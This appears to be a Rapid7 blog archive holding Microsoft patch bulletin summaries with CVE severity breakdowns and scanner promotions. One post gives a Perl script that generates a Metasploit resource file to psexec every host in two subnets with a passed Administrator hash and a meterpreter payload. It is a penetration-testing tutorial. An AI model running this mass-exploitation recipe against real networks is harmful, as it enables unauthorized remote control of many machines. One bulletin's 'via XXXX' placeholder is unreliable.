After a quiet Patch Tuesday last week with only one vulnerability announced, that calm has been followed by a bit of a storm. Here is a quick summary of this month’s summary of Microsoft’s Out of Band Security update …

1 updates, with 8 vulnerabilities covered. Here’s the breakdown:

MS10-002: Rated Critical. Potential Remote Code Execution, covering 8 vulnerabilities: CVE-2009-4074 (XSS Filter Script Handling), CVE-2010-0027 (URL Validation), CVE-2010-0244 (Uninitialized Memory Corruption), CVE-2010-0245 (Uninitialized Memory Corruption), CVE-2010-0246 (Uninitialized Memory Corruption), CVE-2010-0247 (Uninitialized Memory Corruption), CVE-2010-0248 (HTML Object Memory Corruption), and CVE-2010-0249 (HTML Object Memory Corruption). This update replaces MS09-072 from December of last year, which was critical for all platforms except Server 2003 and Server 2008.

As with MS09-072, this one needs a little more explanation to lay out what severity ratings map to what:

BY IE VERSION
- IE 5.01 & 6 are rated Critical on Windows 2000
- IE 6, 7, & 8 are rated Critical on XP
- IE 6 is rated *MODERATE*, IE 7 & 8 are rated *CRITICAL* on Server 2003
- MS09-072 was reversed: Critical on IE 6; Moderate on IE 7 & 8 for Server 2003
- IE 7 & 8 are rated Critical on Vista
- IE 7 & 8 are rated *CRITICAL* on Server 2008
- MS09-072 was rated Moderate for Server 2008
- IE 8 is rated *CRITICAL* on Server 2008 R2
- MS09-072 was rated Moderate for Server 2008 R2
- IE 8 is rated Critical on Windows 7

BY VULNERABILITY
- CVE-2009-4074:
- Moderate (Information Disclosure) for IE 8 on XP, Vista, and Windows 7
- Low (Information Disclosure) for IE 8 on Server 2003, Server 2008, and Server 2008 R2

- CVE-2010-0027:
- Critical (Remote Code Execution) for IE 7 on XP, Server 2003, Vista, Server 2008, and Windows 7
- Critical (Remote Code Execution) for IE 8 on XP, Server 2003, Vista, Server 2008, Windows 7, and Server 2008 R2

- CVE-2010-0244:
- Critical (Remote Code Execution) for IE 6 on Windows 2000 and XP
- Moderate (Remote Code Execution) for IE 6 on Server 2003
- Critical (Remote Code Execution) for IE 7 on XP and Vista
- Moderate (Remote Code Execution) for IE 7 on Server 2003, Server 2008
- Critical (Remote Code Execution) for IE 8 on XP, Vista, and Windows 7
- Moderate (Remote Code Execution) for IE 8 on Server 2003, Server 2008, and Server 2008 R2

- CVE-2010-0245:
- Critical (Remote Code Execution) for IE 8 on XP and Vista
- Moderate (Remote Code Execution) for IE 8 on Server 2003 and Server 2008
- Low (Denial of Service) for IE 8 on Windows 7 and Server 2008 R2

- CVE-2010-0246:
- Critical (Remote Code Execution) for IE 8 on XP, Vista, and Windows 7
- Moderate (Remote Code Execution) for IE 8 on Server 2003, Server 2008, and Server 2008 R2

- CVE-2010-0247:
- Critical (Remote Code Execution) for IE 5.01 on Windows 2000
- Critical (Remote Code Execution) for IE 6 on Windows 2000 and XP
- Moderate for IE 6 on Server 2003

- CVE-2010-0248:
- Critical (Remote Code Execution) for IE 6 on Windows 2000, XP, Vista, and Windows 7
- Moderate (Remote Code Execution) for IE 6 on Server 2003
- Critical (Remote Code Execution) for IE 7 on XP and Vista
- Moderate (Remote Code Execution) for IE 7 on Server 2003 and Server 2008
- Critical (Remote Code Execution) for IE 8 on XP, Vista, and Windows 7
- Moderate (Remote Code Execution) for Server 2003, Server 2008, and Server 2008 R2

- CVE-2010-0249:
- Critical (Remote Code Execution) for IE 6 on Windows 2000 and XP
- Moderate (Remote Code Execution) for IE 6 on Server 2003
- Critical (Remote Code Execution) for IE 7 on XP and Vista
- Moderate (Remote Code Execution) for IE 7 on Server 2003 and Server 2008
- Critical (Remote Code Execution) for IE 8 on XP, Vista, and Windows 7
- Moderate (Remote Code Execution) for IE 8 on Server 2003, Server 2008, and Server 2008 R2

Hopefully this makes things a little clearer.

There has been a lot of buzz about this one, and we’d like to take a moment to thank the research community (and our own Metasploit team) for raising the profile of this issue and helping to raise the priority for Microsoft’s update(s). As expected, there are some who would paint the efforts of community researchers and the Metasploit project as “enabling the bad guys”. This could not be further from the truth … underestimating the severity of an existing risk does nothing to protect systems from compromise. Customers are getting the IE fix nearly 3 weeks earlier due in part to the availability of public exploit code and supporting research. Despite the fact that Microsoft has known about the issue since August, we believe they should be applauded for their responsiveness following the release of public exploit code. We feel very strongly that this is an example of community research prompting vendor actions that are ultimately in the best interest of customers.

NeXpose Community Edition, the free version of NeXpose, will have coverage within 24 hours of the release. NeXpose Community Edition will allow you to detect these vulnerabilities and, if you wish, launch Metasploit Security Testing to confirm the presence and exploitability of the exposure(s) on up to 32 hosts in your environment. For small environments with 32 nodes or less, you can use NeXpose to provide free detection within 24 hours of Microsoft’s update release.

For larger environments, even if NeXpose is not your current Enterprise Vulnerability Management solution, we invite you to download Community Edition and run it alongside your tool on Wednesday to audit the effectiveness of your solution on up to 32 hosts.

NeXpose Community Edition is available for immediate download at no cost here: http://www.rapid7.com/nexposecommunitydownload.jsp

We also invite you to visit the Community Portal at http://community.rapid7.com to share information with other Security Professionals following the Microsoft release.

As always, Happy patching!!

A new year, a new decade, and time once again for this month’s summary of the latest Microsoft Security updates … actually, that’s *update*.

1 update, with 1 vulnerability covered. Here’s the breakdown:

MS10-001: Rated Critical. Potential Remote Code Execution via integer overflow in LZCOMP Decompressor of the Embedded OpenType (EOT) Font Engine, covering 1 vulnerability: CVE-2010-0018. Important to note that Windows 2000 is rated critical; all others are rated low. This update replaces MS09-029 from July of last year, which was critical across the board.

Also interesting to note: Microsoft has specifically called out that the SMB DoS exposure is not being addressed today as they are still conducting research. No indication if this will be released as a subsequent out-of-band issue or whether we’ll see it in a future Patch Tuesday, although Microsoft does not have a history of addressing DoS exposures out of band.

NeXpose Community Edition, the free version of NeXpose, will have coverage within 24 hours of the release. NeXpose Community Edition will allow you to detect this vulnerability and, if you wish, launch Metasploit Security Testing to confirm the presence and exploitability of the exposure(s) on up to 32 hosts in your environment. For small environments with 32 nodes or less, you can use NeXpose to provide free detection within 24 hours of Microsoft’s update release.

For larger environments, even if NeXpose is not your current Enterprise Vulnerability Management solution, we invite you to download Community Edition and run it alongside your tool on Wednesday to audit the effectiveness of your solution on up to 32 hosts.

NeXpose Community Edition is available for immediate download at no cost here: http://www.rapid7.com/nexposecommunitydownload.jsp

We also invite you to visit the Community Portal at http://community.rapid7.com to share information with other Security Professionals following the Microsoft release.

As always, Happy patching!!

Metasploit’s pexec module is one of my favorite modules. It does exactly what I need and it does it really well. One thing I wish that Metasploit had, is a scanner version of the psexec exploit module. So I decided to build my own with Perl.

Okay, assume we have the following networks: 192.168.1.0/24, 192.168.2.0/24 etc etc… We know the local admin account is Administrator and the hash for the account is ADMINISTRATOR:HASH.

First, we build a small Perl script to generate a configuration file:


#!/usr/bin/perl -w
use strict;
print "use windows/smb/psexec\n";
print "set SMBUser Administrator\n";
print "set SMBPass ADMINISTRATOR:HASH\n";
print "set PAYLOAD windows/meterpreter/bind_tcp\n";
# first range
foreach(1.. 254) {
    print "set RHOST 192.168.1.$_\n";
    print "exploit\n";
    print "sleep 2\n";
}
# second range
foreach(1.. 254) {
    print "set RHOST 192.168.2.$_\n";
    print "exploit\n";
    print "sleep 2\n";
}


Once we have this script built, we simply execute it and save the result to a file named psexec.rc.

perl psexec-192-168.pl > psexec.rc


Lastly, we leverage Metasploit’s ability to execute commands passed into meterpreter via an resource file. Once Metasploit loads psexc.rc, it will execute all of the commands we generated using the Perl script. This basically gives us a nice way to create an exploit scanner.

msfconsole -r psexec.rc

Loading psexec.rc will exploit all of the systems within the networks specified and the result will be tons and tons of shells.

Regards,
Jabra

Time once again for this month’s summary of the latest Microsoft Security updates. NeXpose (including the free NeXpose Community Edition) users will have coverage within 24 hours or less. Metasploit already had a module for the IE exposure. Here’s the breakdown …

6 updates, with 12 vulnerabilities covered. Here’s the breakdown:

MS09-069: Rated Critical. Potential Denial of Service via ISAKMP through IPsec affecting LSASS, covering 1 vulnerability: CVE-2009-3675. Important to note that Windows 2000, XP, and 2003 are affected; newer versions of Windows are not affected.

MS09-070: Rated Important. Potential Remote Code Execution and Elevation of Privilege in Active Directory Federation Services, covering 2 vulnerabilities: CVE-2009-2508 (Moderate; Spoofing) and CVE-2009-2509 (Important; Remote Code Execution). Important to note that the Spoofing exposure requires the attacker to obtain a valid authentication token. While this is a practical exposure on Internet kiosks, etc., most enterprises should have this covered under common best practices. The Remote Code Execution exposure has a significant impact to ADFS enabled Web servers, however the attacker must have valid credentials to exploit this vulnerability.

MS09-071: Rated Critical. Potential Remote Code Execution and Elevation of Privilege in Internet Authentication Service, covering 2 vulnerabilities: CVE-2009-2505 (Protected Extensible Authentication Protocol) and CVE-2009-3677 (Challenge Handshake Authentication Protocol version 2). The CHAP-2 vulnerability allows Elevation of Privilege across all supported Window versions except Windows 7 and Server 2008 R2. The PEAP exposure only affects Vista and Server 2008 when configured to use PEAP with CHAP-2 authentication. Important to note that IAS is Microsoft’s version of a RADIUS proxy and server, and PEAP provides authentication for 802.1x wireless clients, so this exposure presents a real risk for client-side wireless attacks.

MS09-072: Rated Critical. Potential Remote Code Execution in Internet Explorer 5.01, 6, 7, and 8, covering 5 vulnerabilities: CVE-2009-2493 (ATL COM Initialization), CVE-2009-3671 (Uninitialized Memory Corruption), CVE-2009-3672 (HTML Object Memory Corruption), CVE-2009-3673 (Uninitialized Memory Corruption), and CVE-2009-3674 (Uninitialized Memory Corruption). This one needs a little more explanation to lay out what severity ratings map to what:

BY IE VERSION
- IE 5.01 & 6 are rated Critical on Windows 2000
- IE 6, 7, & 8 are rated Critical on XP
- IE 6 is rated Critical, IE 7 & 8 are rated Moderate on Server 2003
- IE 7 & 8 are rated Critical on Vista
- IE 7 & 8 are rated Moderate on Server 2008
- IE 8 is rated Moderate on Server 2008 R2
- IE 8 is rated Critical on Windows 7

BY VULNERABILITY
- CVE-2009-2493:
- Critical for IE 5.01 on Windows 2000
- Critical for IE 6 on Windows 2000, XP, and 2003

- CVE-2009-3671:
- Critical for IE 8 on XP, Vista, and Windows 7
- Moderate for IE 8 on 2003 and 2008

- CVE-2009-3672:
- Critical for IE 6 on Windows 2000 and XP
- Critical for IE 7 on XP and Vista
- Moderate for IE 6 on 2003
- Moderate for IE 7 on 2003 and 2008

- CVE-2009-3673:
- Critical for IE 7 on XP and Vista
- Critical for IE 8 on XP, Vista, and Windows 7
- Moderate for IE 7 on 2003 and 2008
- Moderate for IE 8 on 2003, 2008, and 2008 R2

- CVE-2009-3674:
- Critical for IE 8 on XP, Vista, and Windows 7
- Moderate for IE 8 on 2003, 2008, and 2008 R2

MS09-073: Rated Important. Potential Remote Code Execution via Word 97 file conversion, affecting Windows 2000, XP, and 2003, Works 8.5/WordPad, Word 2002, Word 2003, and Office Converter Pack, covering 1 vulnerability: CVE-2009-2506. It’s fun to see WordPad implicated in a vulnerability, but this one is not at the top of the priority list for this month.

MS09-074: Rated Important. Potential Remote Code Execution via XXXX affecting MS Project, covering 1 vulnerability: CVE-2009-0102. Important to note that this one is only Critical for Project 2000; rated Important for Project 2002 and 2003. While the Impact of this vulnerability is real, the likelihood of successful, widespread attacks against Project is pretty slim (let alone successful attacks against Project 2000). These are not typically externally facing systems and are not as widely deployed as Operating Systems, Standard Office components, etc.

So … patch IE, patch Internet Authentication Server, and prioritize the rest based on your environment and testing/deployment schedule.

NeXpose Community Edition, the free version of NeXpose, will have coverage within 24 hours of the release. NeXpose Community Edition will allow you to detect this vulnerability and, if you wish, launch Metasploit Security Testing to confirm the presence and exploitability of the exposure(s) on up to 32 hosts in your environment. For small environments with 32 nodes or less, you can use NeXpose to provide free detection within 24 hours of Microsoft’s update release.

For larger environments, even if NeXpose is not your current Enterprise Vulnerability Management solution, we invite you to download Community Edition and run it alongside your tool on Wednesday to audit the effectiveness of your solution on up to 32 hosts.

NeXpose Community Edition is available for immediate download at no cost here: http://www.rapid7.com/nexposecommunitydownload.jsp

We also invite you to visit the Community Portal at http://community.rapid7.com to share information with other Security Professionals following the Microsoft release.

As always, Happy patching!!